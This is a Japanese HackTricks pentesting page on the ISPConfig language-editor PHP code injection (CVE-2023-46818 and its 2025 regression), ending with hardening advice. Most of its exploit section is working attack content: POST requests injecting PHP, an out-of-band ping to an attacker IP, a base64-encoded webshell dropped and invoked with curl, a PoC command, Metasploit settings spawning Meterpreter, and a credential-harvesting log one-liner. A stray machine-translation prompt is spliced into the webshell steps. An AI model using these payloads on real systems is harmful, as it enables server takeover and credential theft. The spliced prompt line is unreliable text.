ISPConfig

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

ISPConfigはオープンソースのホスティングコントロールパネルです。古い3.2.x系のビルドには言語ファイル編集機能が搭載されており、これがスーパ管理者向けに有効になっていると、破損した翻訳レコードを介して任意のPHPコードを注入できました。これによりWebサーバーコンテキストでのRCEが発生し、PHPの実行方法によっては権限昇格につながる可能性があります。

Key default paths:

  • Web root often at /var/www/ispconfig when served with php -S or via Apache/nginx.
  • Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).

Tip: If the panel is bound locally (e.g. 127.0.0.1:8080), forward it:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

言語エディタ PHP code injection (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preconditions:
  • ビルトインの superadmin アカウント admin でログインすること(ベンダーによれば他のロールは影響を受けない)
  • 言語エディタが有効であること: admin_allow_langedit=yes/usr/local/ispconfig/security/security_settings.ini に設定されている
  • Impact: 認証済みの admin が任意の PHP を注入でき、その内容が言語ファイルに書き込まれてアプリケーションによって実行され、ウェブコンテキストでの RCE を達成する

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

手動でのエクスプロイト手順

  1. CSRF トークンを取得するために言語ファイルを開く/作成する

フォームを初期化するために最初の POST を送り、HTML レスポンスから CSRF フィールド(csrf_id, csrf_key)を解析する。リクエストパスの例: /admin/language_edit.php.

  1. records[] を介して PHP を注入し、保存する

CSRF フィールドと悪意ある翻訳レコードを含む 2 回目の POST を送信する。最小限のコマンド実行検査:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (ICMPを観測):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. ファイルを書き込み、webshellを配置する

file_put_contentsを使って、webからアクセス可能なパス(例: admin/)にファイルを作成します:

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

次に、POST ボディ内の不正な文字を避けるために base64 を使った簡単な webshell を書きます:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

ispconfig.md の内容(マークダウン)をここに貼ってください。翻訳して返します。

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

PHPがrootとして実行されている場合(例: rootによってphp -S 127.0.0.1:8080で起動された場合)、これにより即時のroot RCEが発生します。そうでなければ、web server userとしてコード実行を得ます。

2025年の回帰 (ISPConfig 3.3.0 / 3.3.0p1)

言語エディタのバグは3.3.0/3.3.0p1で再発し、3.3.0p2で修正されました。前提条件は変更なく(admin_allow_langedit と admin login)、同じパッチで monitor XSS と world-readable rotated logs への対処も行われました。

注記:

  • On 3.3.0/3.3.0p1, world-readable rotated logs under /usr/local/ispconfig/interface/log/ may leak credentials if debug logging was enabled:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Exploit の手順は CVE-2023-46818 と一致します; 3.3.0p2 は language editing の前に追加のチェックを導入しています。

Python PoC

すぐに使える exploit は token handling と payload delivery を自動化します:

実行例:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (2025年7月リリース)

Rapid7 は exploit/linux/http/ispconfig_lang_edit_php_code_injection を追加しました。指定した管理者アカウントが system-config 権限を持っている場合、これにより admin_allow_langedit を自動的に有効にできます。

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

モジュールは records[] を介して base64 エンコードされた payload を書き込み、それを実行して PHP Meterpreter またはカスタム payload を生成します。

ハードニング

  • 元の問題については 3.2.11p1 以降にアップグレードし、2025年の回帰については 3.3.0p2 以降にアップグレードしてください。
  • 言語エディタは厳密に必要な場合を除き無効にしてください:
admin_allow_langedit=no
  • パネルをrootで実行しないようにし、PHP-FPMまたはweb serverに権限を降ろすよう設定する
  • 組み込みの admin アカウントに対して強力な認証を適用する

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする